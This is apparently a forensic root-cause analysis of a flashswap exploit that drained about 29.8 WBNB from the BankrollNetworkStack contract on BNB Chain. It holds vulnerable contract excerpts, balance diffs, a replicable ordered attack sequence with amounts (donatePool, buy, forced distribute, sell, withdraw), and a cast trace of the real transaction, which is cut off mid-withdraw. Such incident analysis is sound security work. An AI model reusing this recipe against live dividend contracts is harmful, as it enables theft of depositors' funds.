Calculated from recorded token losses using historical USD prices at the incident time.
0xadefb902cab716b8043c5231ae9a50b8b4ee7c4eBSC0x16b9a82891338f9ba80e2d6970fdda79d1eb0daeBSCOn BNB Chain, an unprivileged adversary EOA 0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52 deployed a small helper contract 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2 and, in a single flashswap-assisted transaction, used it to call BankrollNetworkStack::donatePool, ::buy, ::sell, and ::withdraw in a carefully ordered sequence that drained almost all WBNB held by BankrollNetworkStack 0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e into the helper and then into the EOA.
BankrollNetworkStack’s dividend and sell/withdraw accounting allows any address to (a) inject a large amount into dividendBalance_ via donatePool and buy fees, (b) immediately force a time-weighted release of the entire accumulated dividendBalance_ into profitPerShare_ via distribute() while holding a temporary token position, and then (c) sell and withdraw to capture a large WBNB payout backed by long-term user deposits and fees; this protocol bug, combined with a Pancake flashborrow, yields a deterministic, permissionless profit opportunity.
BNB Chain (chainid 56) state immediately before block 51715418, in which BankrollNetworkStack 0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e holds approximately 29.7865 WBNB, tokenSupply_ is about 20.4011e18 units, profitPerShare_ and payoutsTo_ reflect historical fee and donation accruals, and dividendBalance_ is zero, with no special privileges granted to the eventual adversary EOA 0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52 or helper 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2.
Evidence supporting σ_B:
Profit is derived directly from the following concrete balance diffs:
// Manual ERC20 balance diffs for key addresses across the seed tx 0x7226b3...ae22c
{
"chainid": 56,
"txhash": "0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c",
"entries": [
{
"token_label": "WBNB",
"token_address": "0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c",
"holder": "0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52",
"block_before": 51715417,
"block_after": 51715418,
"before": "0",
"after": "24586528993752124174",
"delta": "24586528993752124174"
},
{
"token_label": "WBNB",
"token_address": "0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c",
"holder": "0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2",
"block_before": 51715417,
"block_after": 51715418,
"before": "0",
"after": "0",
"delta": "0"
},
{
"token_label": "WBNB",
"token_address": "0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c",
"holder": "0xadefb902cab716b8043c5231ae9a50b8b4ee7c4e",
"block_before": 51715417,
"block_after": 51715418,
"before": "29786528993752134174",
"after": "10000",
"delta": "-29786528993752124174"
},
{
"token_label": "WBNB",
"token_address": "0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c",
"holder": "0x16b9a82891338f9ba80e2d6970fdda79d1eb0dae",
"block_before": 51715417,
"block_after": 51715418,
"before": "26789857549452404185697",
"after": "26795144831577047400224",
"delta": "5287282124643214527"
},
{
"token_label": "USDT",
"token_address": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52",
"block_before": 51715417,
"block_after": 51715418,
"before": "2178712759435751194221",
"after": "2178712759435751194221",
"delta": "0"
},
{
"token_label": "USDT",
"token_address": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2",
"block_before": 51715417,
"block_after": 51715418,
"before": "0",
"after": "0",
"delta": "0"
},
{
"token_label": "USDT",
"token_address": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0xadefb902cab716b8043c5231ae9a50b8b4ee7c4e",
"block_before": 51715417,
"block_after": 51715418,
"before": "0",
"after": "0",
"delta": "0"
},
{
"token_label": "USDT",
"token_address": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0x16b9a82891338f9ba80e2d6970fdda79d1eb0dae",
"block_before": 51715417,
"block_after": 51715418,
"before": "17263089746768279872932435",
"after": "17263033646776441261312534",
"delta": "-56099991838611619901"
}
]
}
Caption: WBNB/USDT before/after balances for the adversary EOA, helper, BankrollNetworkStack, and PancakePair over blocks 51715417 → 51715418.
// Native BNB balance diff for the adversary EOA across the same tx
{
"chainid": 56,
"txhash": "0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c",
"native_balance_deltas": [
{
"address": "0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52",
"before_wei": "994011827100000001",
"after_wei": "993141595100000001",
"delta_wei": "-870232000000000"
}
],
"erc20_balance_deltas": [],
"erc20_balance_delta_errors": [],
"errors": []
}
Caption: BNB gas cost for the adversary EOA, used to net out WBNB-equivalent profit.
BankrollNetworkStack allows any address to inject WBNB into dividendBalance_ via donatePool and buy/sell fees, then immediately trigger distribute() and subsequently sell and withdraw to capture a large share of both historical and newly injected dividends, all within a single transaction using temporary flashborrowed capital, draining contract-held WBNB from long-term depositors.
In BankrollNetworkStack (artifacts/root_cause/data_collector/iter_1/contract/56/0xadef...7c4e/source/src/Contract.sol), dividendBalance_ is increased whenever someone calls donatePool(amount) or when buy/sell fees are allocated via allocateFees(fee). The time-based distribute() function, called from public functions buyFor, sell, withdraw, and reinvest, computes profit = dividendBalance_ * payoutRate_ / 100 * (now - lastPayout) / 24h (with payoutRate_ = 2) and moves this profit from dividendBalance_ into profitPerShare_ in a single step, updating lastPayout to now. Critically, there is no restriction on who can call donatePool or trigger distribute(), and distribute() uses the current dividendBalance_ and now - lastPayout, not per-user state, to determine the amount of profit allocated. In the incident, immediately before block 51715418, BankrollNetworkStack has tokenSupply_ ≈ 20.4011e18, dividendBalance_ = 0, and a large effective (now - lastPayout) accumulated since the last distribution (inferred from the delta in profitPerShare_). During the flashswap-assisted seed transaction, the helper (i) donates 1,000 WBNB via donatePool, (ii) buys 240 WBNB of tokens (minting 216 WBNB-worth of tokens and adding 19.2 WBNB to dividendBalance_ via fees), and then (iii) triggers distribute() at the end of buyFor. At this moment, dividendBalance_ includes both the newly donated/fee amounts and previously undistributed dividends, so distribute() moves approximately 110.4544 WBNB (computed from the change in profitPerShare_) from dividendBalance_ into profitPerShare_, leaving dividendBalance_ at zero (as seen in the state changes inside the buy trace). The helper now holds 216 WBNB-worth of tokens whose payoutsTo_ have been updated relative to the increased profitPerShare_. Immediately after, the helper calls sell(216e18), burning its tokens, paying a 10% exit fee (21.6 WBNB) of which 17.28 WBNB is added back to dividendBalance_, and then calls withdraw(), which transfers myDividends() = 1,363.851513770135689714 WBNB from BankrollNetworkStack to the helper. The combination of (a) public donatePool, (b) public distribute() triggered via buyFor with a large pre-existing dividendBalance_ and long time since lastPayout, and (c) sell/withdraw that allow the same address to monetize the newly increased profitPerShare_ in the same transaction, creates a deterministic way for an attacker to convert accumulated dividends and their own temporary donation/fees into an immediate WBNB payout funded by BankrollNetworkStack’s reserves. Since the attacker uses a flashborrow from PancakePair to source the initial 2,000 WBNB and repays it at the end of the transaction, their only net cost is gas; the profit is realized as additional WBNB at their EOA. This behavior is not gated by any privileged role or off-chain coordination and constitutes a protocol accounting bug: the dividend release mechanism can be forced by any participant at a time and in a state that maximally benefits their temporary position.
// Excerpts from BankrollNetworkStack Contract.sol showing dividend accounting
/// @dev This is how you pump pure "drip" dividends into the system
function donatePool(uint amount) public returns (uint256) {
require(token.transferFrom(msg.sender, address(this),amount));
dividendBalance_ += amount;
emit onDonation(msg.sender, amount,now);
}
/// @dev Converts all incoming eth to tokens for the caller, and passes down the referral addy (if any)
function buy(uint buy_amount) public returns (uint256) {
return buyFor(msg.sender, buy_amount);
}
/// @dev Converts all incoming eth to tokens for the caller, and passes down the referral addy (if any)
function buyFor(address _customerAddress, uint buy_amount) public returns (uint256) {
require(token.transferFrom(msg.sender, address(this), buy_amount));
totalDeposits += buy_amount;
uint amount = purchaseTokens(_customerAddress, buy_amount);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now
);
//distribute
distribute();
return amount;
}
/**
* @dev Fallback function to return any TRX/ETH accidentally sent to the contract
*/
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends();
// retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(msg.sender, _dividends);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens, now);
//Stats
stats[_customerAddress].reinvested = SafeMath.add(stats[_customerAddress].reinvested, _dividends);
stats[_customerAddress].xReinvested += 1;
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now
);
//distribute
distribute();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends();
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// lambo delivery service
token.transfer(_customerAddress,_dividends);
//stats
stats[_customerAddress].withdrawn = SafeMath.add(stats[_customerAddress].withdrawn, _dividends);
stats[_customerAddress].xWithdrawn += 1;
totalTxs += 1;
totalClaims += _dividends;
// fire event
emit onWithdraw(_customerAddress, _dividends, now);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now
);
//distribute
distribute();
}
/// @dev Liquifies tokens to eth.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// data setup
uint256 _undividedDividends = SafeMath.mul(_amountOfTokens, exitFee_) / 100;
uint256 _taxedeth = SafeMath.sub(_amountOfTokens, _undividedDividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens + (_taxedeth * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
//drip and buybacks
allocateFees(_undividedDividends);
// fire event
emit onTokenSell(_customerAddress, _amountOfTokens, _taxedeth, now);
//distribute
distribute();
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Zero fees
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders external returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends() > 0) {
withdraw();
}
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
/* Members
A player can be initialized by buying or receiving and we want to add the user ASAP
*/
if (stats[_toAddress].invested == 0 && stats[_toAddress].receivedTokens == 0) {
players += 1;
}
//Stats
stats[_customerAddress].xTransferredTokens += 1;
stats[_customerAddress].transferredTokens += _amountOfTokens;
stats[_toAddress].receivedTokens += _amountOfTokens;
stats[_toAddress].xReceivedTokens += 1;
totalTxs += 1;
// fire event
emit onTransfer(_customerAddress, _toAddress, _amountOfTokens,now);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now
);
emit onLeaderBoard(_toAddress,
stats[_toAddress].invested,
tokenBalanceLedger_[_toAddress],
stats[_toAddress].withdrawn,
now
);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current eth stored in the contract
*/
function totalTokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
*/
function myDividends() public view returns (uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress);
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the token balance of any single address.
function tokenBalance(address _customerAddress) public view returns (uint256) {
return _customerAddress.balance;
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public pure returns (uint256) {
uint256 _eth = 1e18;
uint256 _dividends = SafeMath.div(SafeMath.mul(_eth, exitFee_), 100);
uint256 _taxedeth = SafeMath.sub(_eth, _dividends);
return _taxedeth;
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public pure returns (uint256) {
uint256 _eth = 1e18;
uint256 _dividends = SafeMath.div(SafeMath.mul(_eth, entryFee_), 100);
uint256 _taxedeth = SafeMath.add(_eth, _dividends);
return _taxedeth;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethToSpend) public pure returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethToSpend, entryFee_), 100);
uint256 _taxedeth = SafeMath.sub(_ethToSpend, _dividends);
uint256 _amountOfTokens = _taxedeth;
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateethReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _eth = _tokensToSell;
uint256 _dividends = SafeMath.div(SafeMath.mul(_eth, exitFee_), 100);
uint256 _taxedeth = SafeMath.sub(_eth, _dividends);
return _taxedeth;
}
/// @dev Stats of any single address
function statsOf(address _customerAddress) public view returns (uint256[14] memory){
Stats memory s = stats[_customerAddress];
uint256[14] memory statArray = [s.invested, s.withdrawn, s.rewarded, s.contributed, s.transferredTokens, s.receivedTokens, s.xInvested, s.xRewarded, s.xContributed, s.xWithdrawn, s.xTransferredTokens, s.xReceivedTokens, s.reinvested, s.xReinvested];
return statArray;
}
function dailyEstimate(address _customerAddress) public view returns (uint256){
uint256 share = dividendBalance_.mul(payoutRate_).div(100);
return (tokenSupply_ > 0) ? share.mul(tokenBalanceLedger_[_customerAddress]).div(tokenSupply_) : 0;
}
function allocateFees(uint fee) private {
// 1/5 paid out instantly to Elephant holders
uint256 instant = fee.div(5);
//If buy backs are enabled split the fee
if (buybackEnabled) {
//add the instant fee to the reserve
elephantReserve_ = elephantReserve_.add(instant);
dividendBalance_ = dividendBalance_.add(fee).sub(instant);
} else {
//add the entire fee to the dividend balance
//this only happens when there is an issue with the buy back process.
//If Pancake upgrades liquidity pools
dividendBalance_ = dividendBalance_.add(fee);
}
}
function distribute() private {
if (now.safeSub(lastBalance_) > balanceInterval) {
emit onBalance(totalTokenBalance(), now);
lastBalance_ = now;
}
if (SafeMath.safeSub(now, lastPayout) > distributionInterval && tokenSupply_ > 0) {
//A portion of the dividend is paid out according to the rate
uint256 share = dividendBalance_.mul(payoutRate_).div(100).div(24 hours);
//divide the profit by seconds in the day
uint256 profit = share * now.safeSub(lastPayout);
//share times the amount of time elapsed
dividendBalance_ = dividendBalance_.safeSub(profit);
//Apply divs
profitPerShare_ = SafeMath.add(profitPerShare_, (profit * magnitude) / tokenSupply_);
lastPayout = now;
}
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(address _customerAddress, uint256 _incomingeth) internal returns (uint256) {
/* Members */
if (stats[_customerAddress].invested == 0 && stats[_customerAddress].receivedTokens == 0) {
players += 1;
}
totalTxs += 1;
Caption: BankrollNetworkStack donatePool, buyFor, sell/withdraw, and distribute logic that enables forced release of dividendBalance into profitPerShare_ for a temporary holder._
The adversary deploys a helper contract, then in a single flashswap-assisted transaction borrows WBNB from a Pancake pair, donates and buys into BankrollNetworkStack to pump and immediately release dividendBalance_ into profitPerShare_, sells and withdraws to extract WBNB, repays the flashborrow, and leaves the profit at the EOA.
EOA 0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52 deploys helper contract 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2 in the same block as the exploit, setting up a reusable entry point that can open Pancake flashswaps and interact with BankrollNetworkStack.
Evidence: artifacts/root_cause/data_collector/iter_2/address/56/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52/txlist_eoa_lifetime.json
Helper contract 0xE63a... opens a PancakePair::swap to flashborrow 2,000 WBNB, donates 1,000 WBNB to BankrollNetworkStack via donatePool, buys 240 WBNB worth of tokens (minting 216 WBNB of internal tokens and adding 19.2 WBNB in fees to dividendBalance_), triggers distribute() at the end of buyFor to move about 110.4544 WBNB from dividendBalance_ to profitPerShare_, and then sells the 216 WBNB of tokens and withdraws 1,363.8515 WBNB in dividends.
Evidence: artifacts/root_cause/seed/56/0x7226b3...ae22c/trace.cast.log; artifacts/root_cause/data_collector/iter_1/tx/56/0x7226b3...ae22c/trace.cast.log; artifacts/root_cause/data_collector/iter_2/contract/56/0xadef...7c4e/state/state_block_51715417.json and state_block_51715418.json; artifacts/root_cause/data_collector/iter_1/contract/56/0xadef...7c4e/source/src/Contract.sol
Using the 1,363.8515 WBNB withdrawn from BankrollNetworkStack plus remaining WBNB from the flashborrowed pool, the helper repays 2,005.2 WBNB to the Pancake pair and transfers 24.586528993752124174 WBNB to the adversary EOA, leaving helper balances at zero and increasing the EOA’s WBNB balance by 24.5865 while its BNB balance decreases by only 0.000870232 for gas.
Evidence: artifacts/root_cause/data_collector/iter_1/tx/56/0x7226b3...ae22c/erc20_balance_diff_manual.json; artifacts/root_cause/data_collector/iter_1/tx/56/0x7226b3...ae22c/balance_diff.json; artifacts/root_cause/seed/56/0x7226b3...ae22c/trace.cast.log
# Seed transaction trace snippet (cast run -vvvvv) for 0x7226b3...ae22c
Executing previous transactions from the block.
Traces:
[478036] 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2::227636c0(000000000000000000000000adefb902cab716b8043c5231ae9a50b8b4ee7c4e000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c00000000000000000000000016b9a82891338f9ba80e2d6970fdda79d1eb0dae00000000000000000000000000000000000000000000006c6b935b8bbd400000)
├─ [24420] WBNB::approve(BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, spender: BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ storage changes:
│ │ @ 0x33ddba21d2eb0d9a07c67771d788031bba5f29c356ce6acb68e92bc6da073155: 0 → 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
│ └─ ← [Return] true
├─ [2465] PancakePair::token0() [staticcall]
│ └─ ← [Return] BEP20USDT: [0x55d398326f99059fF775485246999027B3197955]
├─ [350852] PancakePair::swap(0, 2000000000000000000000 [2e21], 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, 0x3030)
│ ├─ [29962] WBNB::transfer(0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, 2000000000000000000000 [2e21])
│ │ ├─ emit Transfer(from: PancakePair: [0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE], to: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, value: 2000000000000000000000 [2e21])
│ │ ├─ storage changes:
│ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa31e: 0 → 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000
│ │ │ @ 0x65a91b743eebb93754974b0d76ae6fbcc9c7843adbbd90f71368692e5c22fe4d: 0x0000000000000000000000000000000000000000000005ac48da0c1b8a82eff8 → 0x00000000000000000000000000000000000000000000053fdd46b08fcd42eff8
│ │ └─ ← [Return] true
│ ├─ [291932] 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2::pancakeCall(0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, 0, 2000000000000000000000 [2e21], 0x3030)
│ │ ├─ [35096] BankrollNetworkStack::donatePool(1000000000000000000000 [1e21])
│ │ │ ├─ [8225] WBNB::transferFrom(0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], 1000000000000000000000 [1e21])
│ │ │ │ ├─ emit Transfer(from: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, to: BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], value: 1000000000000000000000 [1e21])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa31e: 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000 → 0x00000000000000000000000000000000000000000000003635c9adc5dea00000
│ │ │ │ │ @ 0x990106cc395ebe4d2a0ffaeb97cadaa1647f0b174ada46ddfb1b2471e99ff3d4: 0x0000000000000000000000000000000000000000000000019d5f024dd478321e → 0x000000000000000000000000000000000000000000000037d328b013b318321e
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit onDonation(from: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, amount: 1000000000000000000000 [1e21], timestamp: 1750317290 [1.75e9])
│ │ │ ├─ storage changes:
│ │ │ │ @ 10: 0 → 0x00000000000000000000000000000000000000000000003635c9adc5dea00000
│ │ │ └─ ← [Return] 0
│ │ ├─ [155203] BankrollNetworkStack::buy(240000000000000000000 [2.4e20])
│ │ │ ├─ [3425] WBNB::transferFrom(0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], 240000000000000000000 [2.4e20])
│ │ │ │ ├─ emit Transfer(from: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, to: BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], value: 240000000000000000000 [2.4e20])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa31e: 0x00000000000000000000000000000000000000000000003635c9adc5dea00000 → 0x000000000000000000000000000000000000000000000029331e6558f0e00000
│ │ │ │ │ @ 0x990106cc395ebe4d2a0ffaeb97cadaa1647f0b174ada46ddfb1b2471e99ff3d4: 0x000000000000000000000000000000000000000000000037d328b013b318321e → 0x000000000000000000000000000000000000000000000044d5d3f880a0d8321e
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit onTokenPurchase(customerAddress: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, incomingeth: 240000000000000000000 [2.4e20], tokensMinted: 216000000000000000000 [2.16e20], timestamp: 1750317290 [1.75e9])
│ │ │ ├─ emit onLeaderBoard(customerAddress: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, invested: 240000000000000000000 [2.4e20], tokens: 216000000000000000000 [2.16e20], soldTokens: 0, timestamp: 1750317290 [1.75e9])
│ │ │ ├─ [534] WBNB::balanceOf(BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e]) [staticcall]
│ │ │ │ └─ ← [Return] 1269786528993752134174 [1.269e21]
│ │ │ ├─ emit onBalance(balance: 1269786528993752134174 [1.269e21], timestamp: 1750317290 [1.75e9])
│ │ │ ├─ storage changes:
│ │ │ │ @ 11: 0x0000000000000000000000000000000000000000000000000001a56267bdf333 → 0x000000000000000000000000000000000000000000000000429eabf3f19df333
│ │ │ │ @ 9: 2467 → 2468
│ │ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa325: 0 → 1
│ │ │ │ @ 8: 158 → 159
│ │ │ │ @ 0x9707ac5925852bdb2b1878cd68d15903b37996595f6164d9aee7e94982b0ccfc: 0 → 0x0000000000000000000000000000000799146d00aff62da465b9c340c9000000
│ │ │ │ @ 7: 0x000000000000000000000000000000000000000000000000000000006800f161 → 0x000000000000000000000000000000000000000000000000000000006853b8ea
│ │ │ │ @ 4: 0x0000000000000000000000000000000000000000000000011b1f7105d33f33cf → 0x00000000000000000000000000000000000000000000000cd0b9989b0f9f33cf
│ │ │ │ @ 6: 0x000000000000000000000000000000000000000000000027887497aea09d7a85 → 0x0000000000000000000000000000000000000000000000348b1fe01b8e5d7a85
│ │ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa31e: 0 → 0x00000000000000000000000000000000000000000000000d02ab486cedc00000
│ │ │ │ @ 10: 0x00000000000000000000000000000000000000000000003635c9adc5dea00000 → 0
│ │ │ │ @ 0x92dd2f27a5527500ca7a321b9ceb5d6b894bc9eb6202a880ef4c9e92171cf112: 0 → 0x00000000000000000000000000000000000000000000000bb59a27953c600000
│ │ │ │ @ 12: 0x000000000000000000000000000000000000000000000000000000006800f161 → 0x000000000000000000000000000000000000000000000000000000006853b8ea
│ │ │ │ @ 5: 0x000000000000000000000000000000000000000000000000a61ce7d20b4cd318 → 0x0000000000000000000000000000000000000000000000061021284d5c65ea80
│ │ │ └─ ← [Return] 216000000000000000000 [2.16e20]
│ │ ├─ [526] BankrollNetworkStack::myTokens() [staticcall]
│ │ │ └─ ← [Return] 216000000000000000000 [2.16e20]
│ │ ├─ [26005] BankrollNetworkStack::sell(216000000000000000000 [2.16e20])
│ │ │ ├─ emit onTokenSell(customerAddress: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, tokensBurned: 216000000000000000000 [2.16e20], ethEarned: 194400000000000000000 [1.944e20], timestamp: 1750317290 [1.75e9])
│ │ │ ├─ storage changes:
│ │ │ │ @ 0x9707ac5925852bdb2b1878cd68d15903b37996595f6164d9aee7e94982b0ccfc: 0x0000000000000000000000000000000799146d00aff62da465b9c340c9000000 → 0xffffffffffffffffffffffffffffffb610c212389849660d48043d92d9000000
│ │ │ │ @ 4: 0x00000000000000000000000000000000000000000000000cd0b9989b0f9f33cf → 0x0000000000000000000000000000000000000000000000011b1f7105d33f33cf
│ │ │ │ @ 0x92dd2f27a5527500ca7a321b9ceb5d6b894bc9eb6202a880ef4c9e92171cf112: 0x00000000000000000000000000000000000000000000000bb59a27953c600000 → 0
│ │ │ │ @ 11: 0x000000000000000000000000000000000000000000000000429eabf3f19df333 → 0x0000000000000000000000000000000000000000000000007e926510874df333
│ │ │ │ @ 10: 0 → 0x000000000000000000000000000000000000000000000000efcee47256c00000
│ │ │ └─ ← [Stop]
│ │ ├─ [921] BankrollNetworkStack::myDividends() [staticcall]
│ │ │ └─ ← [Return] 1363851513770135689714 [1.363e21]
│ │ ├─ [534] WBNB::balanceOf(BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e]) [staticcall]
│ │ │ └─ ← [Return] 1269786528993752134174 [1.269e21]
│ │ ├─ [3262] WBNB::transfer(BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], 94064984776383565540 [9.406e19])
│ │ │ ├─ emit Transfer(from: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, to: BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], value: 94064984776383565540 [9.406e19])
│ │ │ ├─ storage changes:
│ │ │ │ @ 0x990106cc395ebe4d2a0ffaeb97cadaa1647f0b174ada46ddfb1b2471e99ff3d4: 0x000000000000000000000000000000000000000000000044d5d3f880a0d8321e → 0x000000000000000000000000000000000000000000000049ef3dedc767b6c102
│ │ │ │ @ 0x245489554ac5c53fe4ed737348254408ac6a86f05c55694d61c7c561015aa31e: 0x000000000000000000000000000000000000000000000029331e6558f0e00000 → 0x00000000000000000000000000000000000000000000002419b470122a01711c
│ │ │ └─ ← [Return] true
│ │ ├─ [58808] BankrollNetworkStack::withdraw()
│ │ │ ├─ [3262] WBNB::transfer(0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, 1363851513770135689714 [1.363e21])
│ │ │ │ ├─ emit Transfer(from: BankrollNetworkStack: [0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e], to: 0xE63a5C681caCB8484c8A989CfDd41b8E3B7a2be2, value: 1363851513770135689714 [1.363e21])
Caption: High-level call sequence showing PancakePair::swap, donatePool, buy, sell, withdraw, repayment, and final WBNB transfer to the adversary EOA.
